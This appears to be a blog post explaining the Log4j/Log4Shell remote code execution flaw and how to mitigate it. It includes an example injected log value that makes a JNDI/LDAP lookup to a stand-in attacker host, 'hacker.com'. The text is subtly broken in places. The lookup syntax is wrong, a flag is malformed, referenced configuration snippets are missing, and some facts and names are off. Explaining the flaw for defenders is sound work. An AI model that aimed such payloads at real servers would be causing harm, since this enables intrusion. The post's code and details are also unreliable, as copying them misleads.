Log4J: Vulnerability & Mitigation Strategy
If you are somehow related to tech world you must have heard about the Log4J or Log4Shell vulnerability which has been doing the rounds in news and tech organisations these days. So let’s dig into the issue straight and find what actually went wrong.
Introduction to Log4j
Apache Log4j is an open source, Java-based logging utility framework, a project of Apache Software Foundation. It was released back in 2001 and has been in extensive use since then.
A well-written logging code offers quick debugging, easy maintenance and structured storage of an application’s runtime information. It’s the go to friend for any software engineer when something goes wrong.
The Issue
On 9th Dec, 2021, Apache Foundation posted an article that discusses about a Zero Day vulnerability regarding the Log4j java library. The issue is that any user can run malicious code in a secured deployment running a java application using this specific version of log4j library. It affects versions 2.0 up to and including 2.14.1 of log4j.
The vulnerability is so critical that as per one of the reports more than 840000 attacks were initiated within 72 hours of vulnerability disclosure and attacks reached over 100 per minute over the weekend. The impact is so huge that it may affect the entire internet. This is because 90% of Java applications use log4j directly or indirectly.
Pre-Requisite Terminologies
- Java Naming & Directory Interface (JNDI)
It is an application programming interface (API) that provides naming and directory functionality to applications written using Java. JNDI allows distributed applications to look up services in an abstract, resource-independent way. - Lightweight Directory Access Protocol (LDAP)
An open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network. - Remote Code Execution (RCE)
Also known as Arbitrary Code Execution, is a concept that describes a form of cyberattack in which the attacker can solely command the operation of another person’s computing device or computer. RCE takes place when malicious malware is downloaded by the host. It’s a phenomenon that can affect a person regardless of the present location of his or her device. - Zero Day Vulnerability
A zero-day vulnerability is a vulnerability in a system or device that has been disclosed but is not yet patched. Cybercriminals race to exploit these vulnerabilities to cash in on their schemes. Even though patch for Log4j vulnerability is available but considering the sheer amount of Log4j installation base, patching all vulnerable system is going to be a humongous and time-consuming effort. Till then it’s going to be actively exploited in the wild, hence the zero-day status.
Log4J Vulnerability
Log4j vulnerability tracked under CVE-2021–44228 (also known as Log4Shell & LogJam) is a zero-day, remote code execution vulnerability in logging framework. If a cyber-attacker exploits this, they can make the server that is running Log4j run any software they want, including software that can completely take over that server.
To make the logging functionality better, Log4J has added the ability to perform lookups such as JNDI(Java Naming & Directory Interface)lookups.
Log4j uses the JNDI API to obtain naming and directory services from several available service providers which includes Remote Method Invocation (RMI), Domain Name Service (DNS), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), .
The vulnerability takes advantage of Log4j not checking LDAP and JNDI requests and allowing attackers to execute arbitrary Java code on a server.
Let’s say we have a log which encounters the user calling the api.
log.info("Api call: User $(user.name)")In the above case the user object will come from the payload which we can control. If we send a value of the user.name as following:
log.info("Api call: User $(jndi:ldap://hacker.com/destroy)")Log4J gets this value, while logging log4j will do JNDI lookup to get the value of the expression thanks to JNDILookup class.
The attacker here may control the domain hacker.com and now he has got a connection from the application running in the secured environment.
From here, the attacker can re-direct the application to download some malicious code, which leads to remote code execution.
Mitigation
- Upgrade and redeploy
The vulnerability is fixed in the newest version 2.17.0 released on December 22, 2021 (Not 2.15.0 or 2.16.0) according to the apache foundation. So you can upgrade the version, manage the dependencies and redeploy your application.
2. Specific workaround by Apache
- Set the following to disable the variable extrapolation
Dlog4j2.formatMsgNoLookups=true- You can also set the environmental variable to achieve the above behavior
LOG4J_FORMAT_MSG_NO_LOOKUPS=true- Remove JNDILookup class from the jar and repackage the jar and the application
3. Prevent accidental resolution of a vulnerable Log4j version in your project
Given the critical severity of this vulnerability, we recommend taking the additional step described below in order to prevent accidental inclusion of a vulnerable version.
The constraint will not be activated unless log4j-core appears in the dependency graph. The constraint will either forcefully upgrade the dependency to at least 2.17.0 or fail the build if the strict version constraint cannot be satisfied.
4. Prevent using a vulnerable Log4j version organization-wid
Your organization may leverage shared plugins that are applied to all projects. In this case, you can also apply the constraint described above to all the projects in the organization.
If you use precompiled script plugins, simply copy the above snippet to the script applied to all your JVM projects. If you use binary plugins, here is the Java code equivalent to the DSL snippet:
Strategies for Organizations
1. Log4j vulnerability is a crtical issue and the organization must create a tiger team to deal with it at the highest possible probability.
2. A plan must be devised which first identifies how the organization is affected and then rectifies any problems found. Large organizations and enterprises will need a phased approach to manage this issue over many weeks or months, with teams able to sustain a response over the medium term.
3. The teams which use log4j must be identified and their software’s be scrutinized.
4. The teams should know if your organization is being targeted and be ready for an at-scale response.
5. Teams should try to find instances of software and of Log4j itself. This task will be easier on corporately-managed assets but less so on unmanaged assets.
6. A forum should be created to reach out to the mitigating team in case a cybersecurity researcher finds a vulnerability in any of the software’s.
7. Remediating & resolving this issue is likely to take weeks or months for larger organizations. The combination of an ever evolving situation can lead to burnout in defenders, if they’re not supported by leadership.
